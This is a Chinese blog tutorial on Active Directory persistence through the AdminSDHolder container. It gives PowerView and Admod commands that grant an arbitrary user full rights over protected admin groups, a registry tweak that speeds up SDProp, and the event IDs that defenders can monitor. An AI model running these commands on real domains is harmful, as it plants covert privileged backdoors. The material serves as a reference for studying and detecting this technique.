【域权限维持】-AdminSDHolder

使用检查工具:Zbang: https://github.com/cyberark/zBang
【域权限维持】-AdminSDHolder_第1张图片

1、AdminSDHolder

受保护对象(通常是一些特权内置账号如Domain Admins、Enterprise Admins等)被系统安全策略保护,以避免这些特权对象被恶意修改或滥用(防止被删除、修改权限等)。每一个被保护的对象由SDProp进程(Security Descriptor Propagation安全描述符传播器)监控保护,SDProp进程每60分钟运行一次,运行时检查受保护对象的安全描述符,检查将依照AdminSDHolder容器的ACL,如果与受保护对象的ACL配置与AdminSDHolder容器的ACL配置不一致,SDProp进程将重写该受保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置

AdminSDHolder对象的目的可理解为是为域内受保护的用户和组提供权限的"模板",其在LDAP上路径为: CN=AdminSDHolder,CN=System,DC=<>,DC=<>

AdminSDHolder默认保护的对象(Windows 2008/Windows 2008R2)

Account Operators
Administrator
Administrators
Backup Operators
Domain Admins
Domain Controllers
Enterprise Admins
Krbtgt
Print Operators
Read-only Domain Controllers
Replicator
Schema Admins
Server Operators

在不同系统版本的域控制器上受保护的用户和组也不同,具体可以参考微软文档:https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c–protected-accounts-and-groups-in-active-directory

2、AdminCount属性

被SDProp进程保护的对象会将AdminCount属性设置为1(可借助LdapAdmin等工具查看),SDProp进程根据该属性识别哪些对象是受保护的。当一个原本受保护的对象从受保护组中移除之后,AdminCount属性不会被重置(仍然保持原来的设置值)
【域权限维持】-AdminSDHolder_第2张图片

可以通过adfind来查询(http://www.joeware.net/freetools/tools/adfind/index.htm)

Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn

【域权限维持】-AdminSDHolder_第3张图片

可通过powerview脚本查询,建议使用dev目录下的(https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)

Import-Module .\PowerView.ps1;Get-NetUser -Admincount
Import-Module .\PowerView.ps1;Get-NetGroup -Admincount

【域权限维持】-AdminSDHolder_第4张图片

3、添加权限

可利用powerview

Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=byjb,DC=com" -PrincipalIdentity zhangsan -Verbose -Rights All

【域权限维持】-AdminSDHolder_第5张图片
【域权限维持】-AdminSDHolder_第6张图片
【域权限维持】-AdminSDHolder_第7张图片

可使用ADSI查看该容器的ACL详情
【域权限维持】-AdminSDHolder_第8张图片

也可以利用Admod(http://www.joeware.net/freetools/tools/admod/index.htm)

.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=byjb,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;byjb\zhangsan)}"

4、删除权限

Import-Module .\PowerView.ps1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=byjb,DC=com" -PrincipalIdentity zhangsan -Rights All -Verbose

【域权限维持】-AdminSDHolder_第9张图片

5、附录-SDPROP细节介绍

为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务

修改SDPROP运行频率
当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL
可以通过注册表的方式修改推送时间,将SDPROP的频率修改(最小值1分钟,最大值2小时),需要慎重修改, 当修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,该注册表键默认不存在

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

手动运行SDProp(https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c–protected-accounts-and-groups-in-active-directory)

2016暂时没有尝试,手动触发需要使用LDP程序,需要以管理员权限运行,在进行连接、绑定之后,通过添加 RunProtectAdminGroupsTask 并将值设置为1,具体步骤可参考上述链接。win server 2008和2012的触发需要添加的值是不同的
【域权限维持】-AdminSDHolder_第10张图片
【域权限维持】-AdminSDHolder_第11张图片

6、日志信息

Windows Event 4662
【域权限维持】-AdminSDHolder_第12张图片

Windows Event 5136 【Windows 10,ConvertFrom-SDDL4中有一个 PowerShell cmdlet ,可将 SDDL 字符串转换为更易读的 ACL 对象。】

ConvertFrom-SDDLstring "要解析的sddl字符串"

【域权限维持】-AdminSDHolder_第13张图片

Windows Event 4780 同步ACL

【域权限维持】-AdminSDHolder_第14张图片
注:此文章参考了很多的网络上的其他文章!!!

你可能感兴趣的:(域安全-权限维持,windows,网络安全,系统安全)